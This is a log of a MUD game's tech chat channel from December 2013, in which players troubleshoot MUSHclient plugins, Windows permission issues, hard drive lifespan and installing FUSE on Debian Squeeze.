T3/r7/2013-12-18.txt.gz:{chan ch=tech}Book of Etzli Tech: You might search your plugins for 'data'. Or triggers.
T3/r7/2013-12-18.txt.gz:{chan ch=tech}Book of Etzli Tech: Did you add any scripts yourself?
T3/r7/2013-12-18.txt.gz:{chan ch=tech}Aragond Tech: nope
T3/r7/2013-12-18.txt.gz:{chan ch=tech}Book of Etzli Tech: How often were you spamming "data" to newbie?
T3/r7/2013-12-18.txt.gz:{chan ch=tech}SnailRider Anaristos Tech: actually a few times in a row, more than once.
T3/r7/2013-12-18.txt.gz:{chan ch=tech}Aragond Tech: not too sure
T3/r7/2013-12-18.txt.gz:{chan ch=tech}Negader Tech: and what type of messages are being sent out?
T3/r7/2013-12-18.txt.gz:{chan ch=tech}Aragond Tech: data
T3/r7/2013-12-18.txt.gz:{chan ch=tech}Book of Etzli Tech: Try uninstalling it completely, then reinstalling it.
T3/r7/2013-12-18.txt.gz:{chan ch=tech}Enchantra Tech: It's coming on the newbe channel as data
T3/r7/2013-12-18.txt.gz:{chan ch=tech}Book of Etzli Tech: Negader: It was simply 'data'
T3/r7/2013-12-18.txt.gz:{chan ch=tech}The Reaper Myrkul Tech: did you alias p to newbie?
T3/r7/2013-12-18.txt.gz:{chan ch=tech}Tech: oh, type "unalias p"
T3/r7/2013-12-18.txt.gz:{chan ch=tech}Aragond Tech: i just downloaded and installed
T3/r7/2013-12-18.txt.gz:{chan ch=tech}Enchantra Tech: lol O_O
T3/r7/2013-12-18.txt.gz:{chan ch=tech}Tech: if that's it, you sent it every tick ;)
T3/r7/2013-12-18.txt.gz:{chan ch=tech}Tech: Book of Etzli falls to the ground and rolls around, laughing hysterically.
T3/r7/2013-12-18.txt.gz:{chan ch=tech}Enchantra Tech: If unalias p works I am gonna kick myself :P
T3/r7/2013-12-18.txt.gz:{chan ch=tech}Aragond Tech: what does p do
T3/r7/2013-12-18.txt.gz:{chan ch=tech}Book of Etzli Tech: Meh, I didn't think of it either, to be honest.
T3/r7/2013-12-18.txt.gz:{chan ch=tech}Enchantra Tech: just type unalias p :P
T3/r7/2013-12-18.txt.gz:{chan ch=tech}Book of Etzli Tech: p, by default, is prompt.
T3/r7/2013-12-18.txt.gz:{chan ch=tech}Aragond Tech: ok that should do it
T3/r7/2013-12-18.txt.gz:{chan ch=tech}Pleiades Tech: cool :)
T3/r7/2013-12-18.txt.gz:{chan ch=tech}Book of Etzli Tech: Did it say anything about you unaliasing it?
T3/r7/2013-12-18.txt.gz:{chan ch=tech}Tech: the latest versions from Fiendish's site use "prompt data" rather than "p data", but when he created that plugin, it only worked as "p data"
T3/r7/2013-12-18.txt.gz:{chan ch=tech}Enchantra Tech: Lets see if it worked :)
T3/r7/2013-12-18.txt.gz:{chan ch=tech}Tech: Book of Etzli nods at you in agreement. 
T3/r7/2013-12-18.txt.gz:{chan ch=tech}Aragond Tech: yes it was aliased to newbie
T3/r7/2013-12-18.txt.gz:{chan ch=tech}Tech: I tend to try to keep all aliases to at least 2 characters
T3/r7/2013-12-18.txt.gz:{chan ch=tech}Book of Etzli Tech: You can update the script to use prompt data instead of p data.
T3/r7/2013-12-18.txt.gz:{chan ch=tech}Book of Etzli Tech: That is, if you absolutely need to keep 'p' as newbie.
T3/r7/2013-12-18.txt.gz:{chan ch=tech}Aragond Tech: how
T3/r7/2013-12-18.txt.gz:{chan ch=tech}Book of Etzli Tech: But as a shortcut, you can use nb for newbie.
T3/r7/2013-12-18.txt.gz:{chan ch=tech}Tech: it shouldn't try sending it again, it's a 1-time thing
T3/r7/2013-12-18.txt.gz:{chan ch=tech}Keranik Tech: I've been copying my MUSH from computer to computer for a while now with no problems, just got a new i7 with the x86 architecture, and running the program causes all kinds of plugin and script errors, is this an easy fix, or am I going to need to re-configure?
T3/r7/2013-12-18.txt.gz:{chan ch=tech}Keranik Tech: By plugin and script errors, I mean like.. status bar with the stats not showing up, map not showing up, group window, or the "bar" at the bottom with align/etc.
T3/r7/2013-12-18.txt.gz:{chan ch=tech}Tech: i7 would be x64 architecture, but then again so have pretty much all CPUs for the last 8 years...
T3/r7/2013-12-18.txt.gz:{chan ch=tech}Tech: where did you put the MUSHclient folder?
T3/r7/2013-12-18.txt.gz:{chan ch=tech}Keranik Tech: Same place it has always been, C:\MUSHClient
T3/r7/2013-12-18.txt.gz:{chan ch=tech}Tech: MUSHclient runs fine on 32- and 64-bit systems, that wouldn't be your issue
T3/r7/2013-12-18.txt.gz:{chan ch=tech}Keranik Tech: My "newest" computer is a dell 740 dual core laptop, and my "main" is an intel pentium 4 3.4GHz, so forgive my ignorance.
T3/r7/2013-12-18.txt.gz:{chan ch=tech}Keranik Tech: So, a bad copy to the USB possibly?
T3/r7/2013-12-18.txt.gz:{chan ch=tech}Keranik Tech: Should it not copy and run just the same on any compatible PC?
T3/r7/2013-12-18.txt.gz:{chan ch=tech}Keranik Tech: Is there not any background software needed that woudl not have been included in a stock Windows 8?
T3/r7/2013-12-18.txt.gz:{chan ch=tech}Aizma Tech: Just keep your stuff on DropBox... why even use physical storage?
T3/r7/2013-12-18.txt.gz:{chan ch=tech}Tech: dropbox uses physical storage...it just syncs
T3/r7/2013-12-18.txt.gz:{chan ch=tech}Keranik Tech: Although a valid point, I do not disagree with, is not a solution, as the result would be the same.
T3/r7/2013-12-18.txt.gz:{chan ch=tech}Aizma Tech: Okay, why use /your own/
T3/r7/2013-12-18.txt.gz:{chan ch=tech}Tech: dropbox uses your own physical storage
T3/r7/2013-12-18.txt.gz:{chan ch=tech}Tech: Book of Etzli nods at you in agreement. 
T3/r7/2013-12-18.txt.gz:{chan ch=tech}Keranik Tech: Aizma, could you leave these to anyone who might be able to respond to my questions as opposed to derailing the entire topic into a discussion about DropBox?
T3/r7/2013-12-18.txt.gz:{chan ch=tech}Tech: it copies a folder which exists on your hard drive
T3/r7/2013-12-18.txt.gz:{chan ch=tech}<sarcasm> Forestseer Tech: Keranik, Windows 8 changed the way UAC works slightly
T3/r7/2013-12-18.txt.gz:{chan ch=tech}<sarcasm> Forestseer Tech: I'd suggest you either check the properties on the folder, and ensure "everyone" has full access, or move it inside your documents folder
T3/r7/2013-12-18.txt.gz:{chan ch=tech}Aizma Tech: You brought up that it might be caused by corruption when you transferred it. I was responding directly to you...
T3/r7/2013-12-18.txt.gz:{chan ch=tech}<sarcasm> Forestseer Tech: (or turn that stupid UAC thing off completely, permanantly disabling those shitty metro apps HAHAHA!)
T3/r7/2013-12-18.txt.gz:{chan ch=tech}<sarcasm> Forestseer Tech: unfortunately, the UI for turning UAC off in win8 DOESN'T
T3/r7/2013-12-18.txt.gz:{chan ch=tech}<sarcasm> Forestseer Tech: you can only do it via registry
T3/r7/2013-12-18.txt.gz:{chan ch=tech}Tech: was gonna say, I thought they just let you turn down the levels in the newer ones
T3/r7/2013-12-18.txt.gz:{chan ch=tech}<sarcasm> Forestseer Tech: win8 "off" means "just don't prompt me" instead of "off" like it does in win7
T3/r7/2013-12-18.txt.gz:{chan ch=tech}Tech: but yeah, make sure that you have full rights to the entire MUSHclient folder...admin account hasn't really meant admin account since Vista came out
T3/r7/2013-12-18.txt.gz:{chan ch=tech}<sarcasm> Forestseer Tech: good luck!
T3/r7/2013-12-18.txt.gz:{chan ch=tech}Tigernuts Tech: why do tft cleaning fluids make tfts dirtier?
T3/r7/2013-12-18.txt.gz:{chan ch=tech}Crnogorac Tech: wtf, my client started scanning each time I move around, automatically, how is this disabled?
T3/r7/2013-12-18.txt.gz:{chan ch=tech}Kippe Tech: did you install any plugins lately?
T3/r7/2013-12-18.txt.gz:{chan ch=tech}Crnogorac Tech: no :-/
T3/r7/2013-12-18.txt.gz:{chan ch=tech}Nuanse Tech: did you turn any tags off?
T3/r7/2013-12-18.txt.gz:{chan ch=tech}Bobolai Tech: help with aardmusg winklewinkle quest status plugin please?
T3/r7/2013-12-18.txt.gz:{chan ch=tech}Nuanse Tech: ww help
T3/r7/2013-12-18.txt.gz:{chan ch=tech}Bobolai Tech: i can't see my quest/campaign info anywhere...
T3/r7/2013-12-18.txt.gz:{chan ch=tech}Bobolai Tech: SetShowStatus: on , SetShowInfo: on , but i don't know where im supposed to look...
T3/r7/2013-12-18.txt.gz:{chan ch=tech}Nuanse Tech: winklewinkles?
T3/r7/2013-12-18.txt.gz:{chan ch=tech}Bobolai Tech: yes
T3/r7/2013-12-18.txt.gz:{chan ch=tech}Nuanse Tech: ww help should show you right commands
T3/r7/2013-12-18.txt.gz:{chan ch=tech}Nuanse Tech: but that sounds like basts
T3/r7/2013-12-18.txt.gz:{chan ch=tech}Bobolai Tech: https://code.google.com/p/aardwolf-scriptalicious/downloads/detail?name=WinkleWinkle_Quest_Status.xml&can=2&q=
T3/r7/2013-12-18.txt.gz:{chan ch=tech}Nuanse Tech: have you tried questdebug?
T3/r7/2013-12-18.txt.gz:{chan ch=tech}Nuanse Tech: and if you are not vi user, you should definately change to basts
T3/r7/2013-12-18.txt.gz:{chan ch=tech}Bobolai Tech: https://code.google.com/p/bastmush/ ?
T3/r7/2013-12-18.txt.gz:{chan ch=tech}Bobolai Tech: does Search and destroy plugin work for you guys?
T3/r7/2013-12-18.txt.gz:{chan ch=tech}Bamboo Tech: In terms of what>
T3/r7/2013-12-18.txt.gz:{chan ch=tech}Bobolai Tech: like autohunt. does it work?
T3/r7/2013-12-18.txt.gz:{chan ch=tech}Bamboo Tech: It does, yes.
T3/r7/2013-12-18.txt.gz:{chan ch=tech}Bobolai Tech: not for me... it sends the command xmapper 326718 or something, but i don't move at all, only keep autohunting until i abort it...
T3/r7/2013-12-18.txt.gz:{chan ch=tech}Bamboo Tech: I honestly have no technical reply for that question atm, sorry.
T3/r7/2013-12-18.txt.gz:{chan ch=tech}TrEz Tech: prolly interfering with another script you have
T3/r7/2013-12-18.txt.gz:{chan ch=tech}TrEz Tech: like, 90% sure
T3/r7/2013-12-18.txt.gz:{chan ch=tech}Trachx Tech: you mean: "xmapper move 32420" won't take you 2s ?
T3/r7/2013-12-18.txt.gz:{chan ch=tech}Bobolai Tech: thats right
T3/r7/2013-12-18.txt.gz:{chan ch=tech}Trachx Tech: reinstall WinkleWinkle_Mapper_Extender_2.xml
T3/r7/2013-12-18.txt.gz:{chan ch=tech}Bobolai Tech: all i get is Sorry bobolai or soemthing
T3/r7/2013-12-18.txt.gz:{chan ch=tech}Bobolai Tech: where do i get WinkleWinkle_Mapper_Extender_2.xml
T3/r7/2013-12-18.txt.gz:{chan ch=tech}Bobolai Tech: ?
T3/r7/2013-12-18.txt.gz:{chan ch=tech}Trachx Tech: finger WinkleWinkle
T3/r7/2013-12-18.txt.gz:{chan ch=tech}Bamboo Tech: Sorry Bobolai, you can't do that. ?
T3/r7/2013-12-18.txt.gz:{chan ch=tech}Bobolai Tech: yea
T3/r7/2013-12-18.txt.gz:{chan ch=tech}Trachx Tech: you need 3 files to make S&D work
T3/r7/2013-12-18.txt.gz:{chan ch=tech}Bobolai Tech: the triple pack?
T3/r7/2013-12-18.txt.gz:{chan ch=tech}Trachx Tech: WinkleWinkle_Extender_GUI_2.xml, WinkleWinkle_Mapper_Extender_2.xml, WinkleWinkle_Search_Destroy_2.xml
T3/r7/2013-12-18.txt.gz:{chan ch=tech}Trachx Tech: exactly, triple pack
T3/r7/2013-12-18.txt.gz:{chan ch=tech}Bobolai Tech: oh... explains.
T3/r7/2013-12-18.txt.gz:{chan ch=tech}Tech: Bobolai grumbles and growls. You wonder what's wrong...
T3/r7/2013-12-18.txt.gz:{chan ch=tech}Bobolai Tech: en
T3/r7/2013-12-18.txt.gz:{chan ch=tech}Bobolai Tech: i accidentally moved a window to the top, preventing me from moving it again since its top is blocked... what to do now?
T3/r7/2013-12-18.txt.gz:{chan ch=tech}Yes, THAT Neeper Tech: windows?
T3/r7/2013-12-18.txt.gz:{chan ch=tech}Yes, THAT Neeper Tech: are you using microsoft windows or another operating systen?
T3/r7/2013-12-18.txt.gz:{chan ch=tech}Bobolai Tech: what else do i call it?
T3/r7/2013-12-18.txt.gz:{chan ch=tech}Bobolai Tech: gui?
T3/r7/2013-12-18.txt.gz:{chan ch=tech}Yes, THAT Neeper Tech: the solution depends on what OS you are using? Microsoft Windows 8? Ubuntu? MacOS?
T3/r7/2013-12-18.txt.gz:{chan ch=tech}Bobolai Tech: windows vista
T3/r7/2013-12-18.txt.gz:{chan ch=tech}Yes, THAT Neeper Tech: click in the window once with the left mouse button
T3/r7/2013-12-18.txt.gz:{chan ch=tech}Mommas Boy Devol Tech: ive done that before too, have to reinstall the plugin
T3/r7/2013-12-18.txt.gz:{chan ch=tech}Bobolai Tech: lemme try.
T3/r7/2013-12-18.txt.gz:{chan ch=tech}Yes, THAT Neeper Tech: wait, is this in your operating system or within your mud client?
T3/r7/2013-12-18.txt.gz:{chan ch=tech}Bobolai Tech: within mud client
T3/r7/2013-12-18.txt.gz:{chan ch=tech}Yes, THAT Neeper Tech: whats the plugin
T3/r7/2013-12-18.txt.gz:{chan ch=tech}Yes, THAT Neeper Tech: and what is the window you've lost
T3/r7/2013-12-18.txt.gz:{chan ch=tech}Bobolai Tech: winkle winkle gui extender
T3/r7/2013-12-18.txt.gz:{chan ch=tech}Bobolai Tech: nvm, i think i can solve this on my own
T3/r7/2013-12-18.txt.gz:{chan ch=tech}Trachx Tech: you can try: xset reset gui
T3/r7/2013-12-18.txt.gz:{chan ch=tech}Yes, THAT Neeper Tech: type "xset reset gui"
T3/r7/2013-12-18.txt.gz:{chan ch=tech}Bobolai Tech: thanks. even reinstall didnt help. needed xset reset gui
T3/r7/2013-12-18.txt.gz:{chan ch=tech}Yes, THAT Neeper Tech: sorry, thought you'd lost the entire client window off the top of your monitor
T3/r7/2013-12-18.txt.gz:{chan ch=tech}Mushambo Tech: What's a 'typical' lifespan of a harddrive? 5 years?
T3/r7/2013-12-18.txt.gz:{chan ch=tech}Yes, THAT Neeper Tech: only if you abuse it
T3/r7/2013-12-18.txt.gz:{chan ch=tech}Yes, THAT Neeper Tech: on a home pc you'll probably get more than that
T3/r7/2013-12-18.txt.gz:{chan ch=tech}Gener Tech: 3 - 5 yrs is average
T3/r7/2013-12-18.txt.gz:{chan ch=tech}Mushambo Tech: B/c mine are at 5.25 years and everything chkdsk's fine...once they start to have problems though, better replace ASAP right?
T3/r7/2013-12-18.txt.gz:{chan ch=tech}Negader Tech: I always get another one in few years and put the one i had as a 2nd drive 
T3/r7/2013-12-18.txt.gz:{chan ch=tech}Ixle Tech: Use it till it dies, but backup like a fiend :p
T3/r7/2013-12-18.txt.gz:{chan ch=tech}Tech: Yes, THAT Neeper is agreeing with that Ixle person again...
T3/r7/2013-12-18.txt.gz:{chan ch=tech}Mushambo Tech: Found the receipt for the PC I built Fall 08, $790 for over five years of good use :)
T3/r7/2013-12-18.txt.gz:{chan ch=tech}Definitely Defines Tech: nice!!
T3/r7/2013-12-18.txt.gz:{chan ch=tech}Definitely Defines Tech: the pc im mudding on was a woot from 08
T3/r7/2013-12-18.txt.gz:{chan ch=tech}Mushambo Tech: Seems like ibuypower.com is the major custom PC builder? If one doesn't care about cool cases, are they likely to get a better deal just buying a pre-built and upgrading accordingly?
T3/r7/2013-12-18.txt.gz:{chan ch=tech}Mushambo Tech: i.e. buying a desktop from TigerDirect and replacing GPU...
T3/r7/2013-12-18.txt.gz:{chan ch=tech}Not Guilty Kojiro Tech: who long do lice live?  my keyboard is still infested
T3/r7/2013-12-18.txt.gz:{chan ch=tech}Ixle Tech: http://goo.gl/BNc4Yp
T3/r7/2013-12-18.txt.gz:{chan ch=tech}Redryn Tech: i'm trying to copy something from a webpage, but the formatting gets messed up
T3/r7/2013-12-18.txt.gz:{chan ch=tech}Redryn Tech: anyone know if there's some way to force word to use html or something?
T3/r7/2013-12-18.txt.gz:{chan ch=tech}Cryos Tech: copy it into notepad?
T3/r7/2013-12-18.txt.gz:{chan ch=tech}Redryn Tech: i want to keep formatting from the website
T3/r7/2013-12-18.txt.gz:{chan ch=tech}Cryos Tech: what do you mean the website formatting?
T3/r7/2013-12-18.txt.gz:{chan ch=tech}Cryos Tech: like the <p> and the <br/>?
T3/r7/2013-12-18.txt.gz:{chan ch=tech}Redryn Tech: http://statutes.agc.gov.sg/aol/search/display/view.w3p
T3/r7/2013-12-18.txt.gz:{chan ch=tech}Redryn Tech: hmm
T3/r7/2013-12-18.txt.gz:{chan ch=tech}Redryn Tech: http://statutes.agc.gov.sg/aol/search/display/view.w3p;page=0;query=CapAct%3A353%20Depth%3A0%20Status%3Ainforce;rec=0;resUrl=http%3A%2F%2Fstatutes.agc.gov.sg%2Faol%2Fsearch%2Fsummary%2Fresults.w3p%3Bquery%3DCapAct%253A353%2520Depth%253A0%2520Status%253Ainforce
T3/r7/2013-12-18.txt.gz:{chan ch=tech}Elysian Tech: eek
T3/r7/2013-12-18.txt.gz:{chan ch=tech}Redryn Tech: i would like to copy the sections with the right formatting and indentation of the (1) (2) (3), (a) (b) (c) etc
T3/r7/2013-12-18.txt.gz:{chan ch=tech}Cryos Tech: lol good luck with that... need an html converter or something to keep the format
T3/r7/2013-12-18.txt.gz:{chan ch=tech}Redryn Tech: no way to copy it? :(
T3/r7/2013-12-18.txt.gz:{chan ch=tech}Cryos Tech: can you get a pdf of it? that might be the easiest way
T3/r7/2013-12-18.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: I would use something like CutePDF and print it to pdf
T3/r7/2013-12-18.txt.gz:{chan ch=tech}Redryn Tech: yea i can get it to pdf fine
T3/r7/2013-12-18.txt.gz:{chan ch=tech}Redryn Tech: but i would like to copy parts of it into a word doc
T3/r7/2013-12-18.txt.gz:{chan ch=tech}Redryn Tech: as reference
T3/r7/2013-12-18.txt.gz:{chan ch=tech}Cryos Tech: then convert the pdf into a doc file, hopefully that will maintain its format
T3/r7/2013-12-18.txt.gz:{chan ch=tech}DragoDrake Dragoknight Tech: who playes 24 hours on a laptop here
T3/r7/2013-12-18.txt.gz:{chan ch=tech}Zade Tech: that is going to wear out the transformer
T3/r7/2013-12-18.txt.gz:{chan ch=tech}Bobolai Tech: optimus prime?
T3/r7/2013-12-18.txt.gz:{chan ch=tech}[Outlaw] Drakoth Tech: why would it do that?
T3/r7/2013-12-18.txt.gz:{chan ch=tech}Doc Holliday Tech: anyone able to help me with a linux issue
T3/r7/2013-12-18.txt.gz:{chan ch=tech}Doc Holliday Tech: http://pastebin.com/kwphS5bq
T3/r7/2013-12-18.txt.gz:{chan ch=tech}Doc Holliday Tech: not sure if it's doable or not, trying to google my way through it
T3/r7/2013-12-18.txt.gz:{chan ch=tech}Definitely Defines Tech: is fuse available and not installable or not available at all
T3/r7/2013-12-18.txt.gz:{chan ch=tech}Doc Holliday Tech: trying to determine that now :)
T3/r7/2013-12-18.txt.gz:{chan ch=tech}Doc Holliday Tech: and when i attempted to upgrade libc6-dev it said it would break locales...
T3/r7/2013-12-18.txt.gz:{chan ch=tech}Doc Holliday Tech: Package fuse is not available, but is referred to by another package. This may mean that the package is missing, has been obsoleted, or is only available from another source
T3/r7/2013-12-19.txt.gz:{chan ch=tech}Darkwing Duckbat Tech: Can anyone help me with some math? The problem I am having involves rotation matrices.
T3/r7/2013-12-19.txt.gz:{chan ch=tech}Crazybeard Tech: for instance, you are in a zone such as labyrinth with many similarly named rooms
T3/r7/2013-12-19.txt.gz:{chan ch=tech}Crazybeard Tech: you toss out your mapper area whatever query and you are returned with several lines
T3/r7/2013-12-19.txt.gz:{chan ch=tech}Crazybeard Tech: this output is placed into my main window, and what I wanted was a separate window dedicated to this mapper output text
T3/r7/2013-12-19.txt.gz:{chan ch=tech}Crazybeard Tech: I tried a few things and failed miserably
T3/r7/2013-12-19.txt.gz:{chan ch=tech}Tech: it wouldn't be hard, but it also wouldn't be necessary...just type "mapper next" to go to the next one in the list
T3/r7/2013-12-19.txt.gz:{chan ch=tech}Tech: the mapper remembers your last search results
T3/r7/2013-12-19.txt.gz:{chan ch=tech}Crazybeard Tech: necessity is not the issue.  Really the mapper is not neccesary, but I figure since I spend a good chunk of my downtime at work playing this, I may as well have a client that is friendly to my use
T3/r7/2013-12-19.txt.gz:{chan ch=tech}Crazybeard Tech: I figured along the way someone must have done what im referring to and could put some input in
T3/r7/2013-12-19.txt.gz:{chan ch=tech}Tech: "mapper next" is much more friendly than reading from a list in another window and typing out mapper goto <some number>...
T3/r7/2013-12-19.txt.gz:{chan ch=tech}Crazybeard Tech: the semantics are another argument altogether
T3/r7/2013-12-19.txt.gz:{chan ch=tech}Tech: why would they do that when it's totally silly to do?
T3/r7/2013-12-19.txt.gz:{chan ch=tech}Crazybeard Tech: and sometimes you may get a list with a bit more than that you wanted.  therein lies a situation where next may not be beneficial
T3/r7/2013-12-19.txt.gz:{chan ch=tech}Crazybeard Tech: a situation where a selective process would be more efficient
T3/r7/2013-12-19.txt.gz:{chan ch=tech}Tech: conduct a proper search
T3/r7/2013-12-19.txt.gz:{chan ch=tech}Crazybeard Tech: again, semantics. 
T3/r7/2013-12-19.txt.gz:{chan ch=tech}Tech: you can limit the search to the current area using mapper area <words> rather than mapper find <words>...
T3/r7/2013-12-19.txt.gz:{chan ch=tech}Crazybeard Tech: I always use mapper area
T3/r7/2013-12-19.txt.gz:{chan ch=tech}Crazybeard Tech: and again, that is not the issue lol.  I can refine my searches, I am fully aware.  
T3/r7/2013-12-19.txt.gz:{chan ch=tech}Crazybeard Tech: I still however wish to create a separate output window for more than just mapping reasons
T3/r7/2013-12-19.txt.gz:{chan ch=tech}Tech: if it's for more than just mapping reasons, then you'd need to define what you want this window for...a general-purpose window is much different than shoving a particular output into a window
T3/r7/2013-12-19.txt.gz:{chan ch=tech}Crazybeard Tech: it clears up the main window for one.  
T3/r7/2013-12-19.txt.gz:{chan ch=tech}Crazybeard Tech: secondly, I would no longer have to scroll in the event I rolled beyond the query text
T3/r7/2013-12-19.txt.gz:{chan ch=tech}Tech: OK, so you don't mean more than just mapping reasons...
T3/r7/2013-12-19.txt.gz:{chan ch=tech}Crazybeard Tech: my main window remains uncluttered, yes
T3/r7/2013-12-19.txt.gz:{chan ch=tech}Tech: you're still just talking about mapping, just different aspects of it
T3/r7/2013-12-19.txt.gz:{chan ch=tech}Tech: and my original point was that there's no need for you to scroll up
T3/r7/2013-12-19.txt.gz:{chan ch=tech}Crazybeard Tech: look man, either you know how to do it, or nay.  Debating the semantics of something you clearly disagree with is no concern of mine
T3/r7/2013-12-19.txt.gz:{chan ch=tech}Tech: of course I know how to do it
T3/r7/2013-12-19.txt.gz:{chan ch=tech}Tech: I have a half-dozen posted miniwindow scripts, for a client I don't even use, all requested by random people...but there has to be a need for a given function for it to be worth writing said function...one person not knowing how to use the mapper well isn't a need
T3/r7/2013-12-19.txt.gz:{chan ch=tech}Tech: you could request that Fiendish write a toggleable "last query" area into the mapper window, which would make much more sense and wouldn't need to be updated whenever there's a new update
T3/r7/2013-12-19.txt.gz:{chan ch=tech}Tech: or could request that he make it toggleable that you can have the search output go to his comms log, he already has a function to allow anyone to inject arbitrary text into it
T3/r7/2013-12-19.txt.gz:{chan ch=tech}Crazybeard Tech: the comms log would be fine, as still my primary intention is to free my main window of the text.  The added functionality is just a gravy bonus.  Thanks
T3/r7/2013-12-19.txt.gz:{chan ch=tech}Tech: the two ways that you could currently make the miniwindow that you want would be to either replicate the mapper search commands outside the mapper plugin, thereby controlling where the output is placed, or to edit the mapper plugin to place it elsewhere...any new features added to the mapper search commands done in MUSHclient updates wouldn't be added to the new plugin for the first method, and everything in the second method would be backed out with updates and would need to be re-patched
T3/r7/2013-12-19.txt.gz:{chan ch=tech}Tech: so a request to Fiendish to add that as a stock feature is the best course of action
T3/r7/2013-12-19.txt.gz:{chan ch=tech}Crazybeard Tech: yeah sounds like a much more work than it's worth.
T3/r7/2013-12-19.txt.gz:{chan ch=tech}Crazybeard Tech: im not too shoddy with code, but I have very little experience with mushclient to be honest
T3/r7/2013-12-19.txt.gz:{chan ch=tech}Tech: if you go to my site and look at the rdesc miniwindow plugin, that will give an idea of what goes into capturing to a miniwindow from MUD output...can literally copy that entire thing into a new plugin, change the name and plugin ID, and change the triggered start/end text to have an arbitrary capture of anything else (indeed, that's exactly how most of my miniwins came into existence, originally starting from the automap plugin)
T3/r7/2013-12-19.txt.gz:{chan ch=tech}Tech: and my repop plugin shows how to inject text into the comms window
T3/r7/2013-12-19.txt.gz:{chan ch=tech}Pooky Tech: does mush support tabbed windows?
T3/r7/2013-12-19.txt.gz:{chan ch=tech}Pooky Tech: i.e. a tab for all chats/group/gosspi/etc
T3/r7/2013-12-19.txt.gz:{chan ch=tech}Crazybeard Tech: Abel, that is great man.  I think I am going to take a peek at those and see if it's beyond me, or doable.  Again, thanks for the feedback.
T3/r7/2013-12-19.txt.gz:{chan ch=tech}Tech: MUSH supports it, yes pooky
T3/r7/2013-12-19.txt.gz:{chan ch=tech}Pooky Tech: thanks, i want to get back into scripting for mush, should be a nice learning experience figureing it out
T3/r7/2013-12-19.txt.gz:{chan ch=tech}Tech: Fiendish's site has a walkthrough on creating a whole separate comms log, non-tabbed, to separate out channels, but Bast uses tabs in some of his stuff
T3/r7/2013-12-19.txt.gz:{chan ch=tech}Pooky Tech: thanks i
T3/r7/2013-12-19.txt.gz:{chan ch=tech}Pooky Tech: i'll look at those for reference
T3/r7/2013-12-19.txt.gz:{chan ch=tech}Doc Holliday Tech: anyone know of a way to get fuse on squeeze
T3/r7/2013-12-19.txt.gz:{chan ch=tech}Doc Holliday Tech: or is it just a "change your distro"
T3/r7/2013-12-19.txt.gz:{chan ch=tech}Trachx Tech: by fuse you mean filesystem in userspace, and by squeeze debian ?
T3/r7/2013-12-19.txt.gz:{chan ch=tech}Doc Holliday Tech: yes and yes :)
T3/r7/2013-12-19.txt.gz:{chan ch=tech}Doc Holliday Tech: http://pastebin.com/kwphS5bq
T3/r7/2013-12-19.txt.gz:{chan ch=tech}Trachx Tech: apt-get update ?
T3/r7/2013-12-19.txt.gz:{chan ch=tech}Doc Holliday Tech: Package fuse is not available, but is referred to by another package.
T3/r7/2013-12-19.txt.gz:{chan ch=tech}Trachx Tech: http://packages.debian.org/source/squeeze/fuse
T3/r7/2013-12-19.txt.gz:{chan ch=tech}Trachx Tech: though that is source package
T3/r7/2013-12-19.txt.gz:{chan ch=tech}Pedwiddle Tech: What kernel are you using?  The fuse sourceforge page doesn't list Debian as supported specifically, but does list 2.4.X and 2.6.X
T3/r7/2013-12-19.txt.gz:{chan ch=tech}Doc Holliday Tech: yes I've installed the fuse-utils and things but it still doesnt recognise "fuse" as being installed/installable
T3/r7/2013-12-19.txt.gz:{chan ch=tech}Doc Holliday Tech: Debian 2.6.32-48squeeze4
T3/r7/2013-12-19.txt.gz:{chan ch=tech}Pedwiddle Tech: So you've downloaded the source, configured and installed it?  Aptitude just isn't recognizing that it's installed?
T3/r7/2013-12-19.txt.gz:{chan ch=tech}Doc Holliday Tech: i might reinstall and move to a "supported" version - i have 2 things I run, 1 requires wheezy and 1 is built on squeeze :(
T3/r7/2013-12-19.txt.gz:{chan ch=tech}Ixle Tech: Holliday, did you get my tell about libstdc++6 >= 4.6 ? I only saw packages for that version for Wheezy.
T3/r7/2013-12-19.txt.gz:{chan ch=tech}Doc Holliday Tech: yes, I figure im going to end up breaking more than im going to gain by attempting this, might just have to redo the system
T3/r7/2013-12-19.txt.gz:{chan ch=tech}Doc Holliday Tech: the only reason im still on squeeze is for openmediavault
T3/r7/2013-12-19.txt.gz:{chan ch=tech}Doc Holliday Tech: but i could do a wheezy install and add webmin and things i suppose
T3/r7/2013-12-19.txt.gz:{chan ch=tech}Trachx Tech: probably you could get packages from wheezy and try to install manually
T3/r7/2013-12-19.txt.gz:{chan ch=tech}Ixle Tech: Put Wheezy on a USB stick and see if openmediavault works?
T3/r7/2013-12-19.txt.gz:{chan ch=tech}Doc Holliday Tech: there are ways to get omv to work on wheezy but quite a bit of it is broken as well from what i've heard
T3/r7/2013-12-19.txt.gz:{chan ch=tech}Doc Holliday Tech: but i love OMV, but i have been waiting a year to use my bitcasa account with it - linux client was just realized and it's not for squeeze
T3/r7/2013-12-19.txt.gz:{chan ch=tech}Doc Holliday Tech: so now I have unlimited cloud storage - and no method of leveraging it (except for web interface)
T3/r7/2013-12-19.txt.gz:{chan ch=tech}Doc Holliday Tech: and I havn't grabbed the wheezy package yet Pedwiddle, i could try that
T3/r7/2013-12-19.txt.gz:{chan ch=tech}Pedwiddle Tech: If you don't mind the work, you could download the fuse source and debianize it (via dh-make or whatever)...might be more trouble than it's worth, though
T3/r7/2013-12-19.txt.gz:{chan ch=tech}Pedwiddle Tech: Ah - if there's a wheezy package for it, then that's worth a shot.
T3/r7/2013-12-19.txt.gz:{chan ch=tech}Ixle Tech: I'm just afraid you're going to go through a lot of effort to get it working and then start finding other reasons to upgrade.
T3/r7/2013-12-19.txt.gz:{chan ch=tech}Doc Holliday Tech: - yea well webmin is very similar to OMV  - or i can just create a basic webpage that does the same functionality that i use in omv
T3/r7/2013-12-19.txt.gz:{chan ch=tech}Doc Holliday Tech: but now im at work, and cant really change to wheezy over ssh - i think im feeling sick and need to go home :)
T3/r7/2013-12-19.txt.gz:{chan ch=tech}Turie Tech: Sounds like someone does not want to change.
T3/r7/2013-12-19.txt.gz:{chan ch=tech}Ixle Tech: use a digital ocean vps to spin up a wheezy machine and see how the omv installation goes.
T3/r7/2013-12-19.txt.gz:{chan ch=tech}Ixle Tech: If it all works decently, you can just destroy the vps and make the upgrade jump later.
T3/r7/2013-12-19.txt.gz:{chan ch=tech}Doc Holliday Tech: never heard of DO vps - btu looks interesting :)
T3/r7/2013-12-19.txt.gz:{chan ch=tech}Ixle Tech: I love using those for quick tests and stuff I highly expect to blow up in my face.
